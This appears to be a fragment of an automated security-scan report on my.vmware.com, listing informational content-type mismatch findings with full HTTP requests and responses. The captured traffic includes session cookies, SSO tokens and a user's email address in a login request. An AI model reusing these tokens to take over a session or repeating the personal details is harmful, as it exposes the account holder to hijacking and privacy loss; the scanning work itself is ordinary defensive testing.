TS558d30=4e15fb8a41e12da974927df399e13e92501b614841c81b7a4f956bea

Response

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "311c6694"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Mon, 23 Apr 2012 14:50:24 GMT
Vary: Accept-Encoding
Content-Length: 210
Date: Mon, 23 Apr 2012 14:50:25 GMT
Connection: keep-alive
Set-Cookie: ObSSOCookie=%2Fpu2m3DnmUdTrK5OnqQpdu%2FUN%2Fx3mAO85pWfl%2B7v%2B21atoOoW%2F73A0X4OubjKy%2F8Y%2FNoygNA2o1AE71B4Xf2T8Jet5mLPmP0He7iGHFZJSMEb9ZgaDy3yKdIdKvpyg7MoBB%2FNl7fBJGAqpgy5fxmdjybFtLxzYCEb%2FIAWd739ayW01mikDxzp4iodPZ6gKNCghHCO%2BwxinBIwljEnnMyCBDPnF%2FRiNA4E5dmzptbkPEJ0ZvXARp4wPz4mK9K7e6h5oOW0QkPg71otvRNvQ5btZ0boluKlbzhzME3tJR3GXgOns5oMCHL9uXUHIN9ZLer; path=/; domain=.vmware.com;
Set-Cookie: TS558d30=4e15fb8a41e12da974927df399e13e92501b614841c81b7a4f956bea; Path=/


        <tr><td colspan=3 style="color:#666" align='center'>
There are no support requests to display.<br>
</tr></td>

...[SNIP]...

3.2. https://my.vmware.com/group/vmware/home/-/consumer/WSRP_10132_0d825b9b__8887__454e__ad6d__51715d3e61fc/normal/view/cacheLevelPage/WDJOMWMzUmhiR1Z5ZEhCdmNuUnNaWFJmVjBGU1gyTjFjM1JoWTJOdmRXNTBjRzl5ZEd4bGRGOTNjM0p3UFRFKg**  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /group/vmware/home/-/consumer/WSRP_10132_0d825b9b__8887__454e__ad6d__51715d3e61fc/normal/view/cacheLevelPage/WDJOMWMzUmhiR1Z5ZEhCdmNuUnNaWFJmVjBGU1gyTjFjM1JoWTJOdmRXNTBjRzl5ZEd4bGRGOTNjM0p3UFRFKg**

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain JSON.

Request

POST /group/vmware/home/-/consumer/WSRP_10132_0d825b9b__8887__454e__ad6d__51715d3e61fc/normal/view/cacheLevelPage/WDJOMWMzUmhiR1Z5ZEhCdmNuUnNaWFJmVjBGU1gyTjFjM1JoWTJOdmRXNTBjRzl5ZEd4bGRGOTNjM0p3UFRFKg**?p_p_lifecycle=2&p_p_resource_id=alertInfoURL&p_p_col_id=column-3&p_p_col_pos=1&p_p_col_count=5&_WSRP_10132_0d825b9b__8887__454e__ad6d__51715d3e61fc_wsrp-resourceCacheability=cacheLevelPage HTTP/1.1
Host: my.vmware.com
Connection: keep-alive
Content-Length: 0
Origin: https://my.vmware.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.162 Safari/535.19
Accept: application/json, text/javascript, */*; q=0.01
Referer: https://my.vmware.com/group/vmware/home
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: LFR_SESSION_STATE_2293538=1335192660915; _jsuid=3487600930; s_vi=[CS]v1|27C5BE33851D1E96-60000102001AF3DE[CE]; __utma=106857756.408366979.1334541393.1334541393.1334541393.1; __utmz=106857756.1334541393.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; COOKIE_SUPPORT=true; s_nr=1334541514410; JSESSIONID=AE4E0F44104D9F6A72CC51732B42B856; myvmware-wwwa-prod=4guGzVMSjIbGkxCFuADnKD5eFD3y9NC06gqapfggx4Wlo/BhV+ox5EB7VHQdZxMDen9dUPYAk7oTWPg=; s_cc=true; s_sq=%5B%5BB%5D%5D; ObFormLoginCookie=done; rememberme=on; SYMPHONY_USER=MsJ4RxiqaGAXR7MUPDCh7Q%3D%3D; GUEST_LANGUAGE_ID=en_US; ObSSOCookie=2Jhw%2B9RXGd8N2Ul5JL8iIhJmpEpk4%2BE1CsiErI8hz2bAKLdJ%2F0q8SiD1Ab4cZi2ENwjxTNMaD6Hj99%2FTi%2FsCo8be1Un1Z8Jb67fLjcyW4h7FFGa%2FFxhUcVW8FvXHmrP2q2M0BmTtWJAmUG%2BPPZUxcmk4wvYd7P9JMBPdAFlO8DZdqXqfWDRXf9l1thGjXraYgQNS7k4gtk2VUKyORDZ86DCV5o%2F2kNv55zQKyWx4U9R9K71QsCrI5RpAVht6MFdt8eJyPikR9SW2%2FJg5qGYVPQFm0e0qU9W52qaD51EYY5XFir1F%2FZbcS0lwLr%2FSJFvs; TS558d30=4e15fb8a41e12da974927df399e13e92501b614841c81b7a4f956bea

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Mon, 23 Apr 2012 14:50:26 GMT
Vary: Accept-Encoding
Content-Length: 32
Date: Mon, 23 Apr 2012 14:50:26 GMT
Connection: keep-alive

{"alertList":[],"totalUnread":0}

3.3. https://my.vmware.com/web/vmware/login  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /web/vmware/login

Issue detail

The response contains the following Content-type statement:The response states that it contains JSON. However, it actually appears to contain plain text.

Request

POST /web/vmware/login;jsessionid=AE4E0F44104D9F6A72CC51732B42B856?p_p_id=loginUserPortlet_WAR_itvmlogin&p_p_lifecycle=2&p_p_state=normal&p_p_mode=view&p_p_resource_id=checkRememberMe&p_p_cacheability=cacheLevelPage&p_p_col_id=column-1&p_p_col_count=1 HTTP/1.1
Host: my.vmware.com
Connection: keep-alive
Content-Length: 42
Origin: https://my.vmware.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.162 Safari/535.19
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Referer: https://my.vmware.com/web/vmware/login
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _jsuid=3487600930; s_vi=[CS]v1|27C5BE33851D1E96-60000102001AF3DE[CE]; __utma=106857756.408366979.1334541393.1334541393.1334541393.1; __utmz=106857756.1334541393.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/11; COOKIE_SUPPORT=true; s_nr=1334541514410; ObSSOCookie=loggedoutcontinue; ObFormLoginCookie=wh%3Dweb-prod-sso-2.vmware.com%20wu%3D%2Fgroup%2Fvmware%2Fhome%20wo%3D1%20rh%3Dhttp%3A%2F%2Fmy.vmware.com%20ru%3D%252Fgroup%252Fvmware%252Fhome; JSESSIONID=AE4E0F44104D9F6A72CC51732B42B856; GUEST_LANGUAGE_ID=en_US; myvmware-wwwa-prod=4guGzVMSjIbGkxCFuADnKD5eFD3y9NC06gqapfggx4Wlo/BhV+ox5EB7VHQdZxMDen9dUPYAk7oTWPg=; TS558d30=4e15fb8a41e12da974927df399e13e92501b614841c81b7a4f956bea; s_cc=true; s_sq=%5B%5BB%5D%5D

rememberMe=true&username=bclary%40hoyt.net

Response

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "f62"
Content-Type: application/json;charset=UTF-8
Content-Length: 2
Cache-Control: max-age=0
Expires: Mon, 23 Apr 2012 14:49:42 GMT
Date: Mon, 23 Apr 2012 14:49:42 GMT
Connection: keep-alive

{}

Report generated by XSS.Cx at Wed Aug 08 09:55:10 EDT 2012.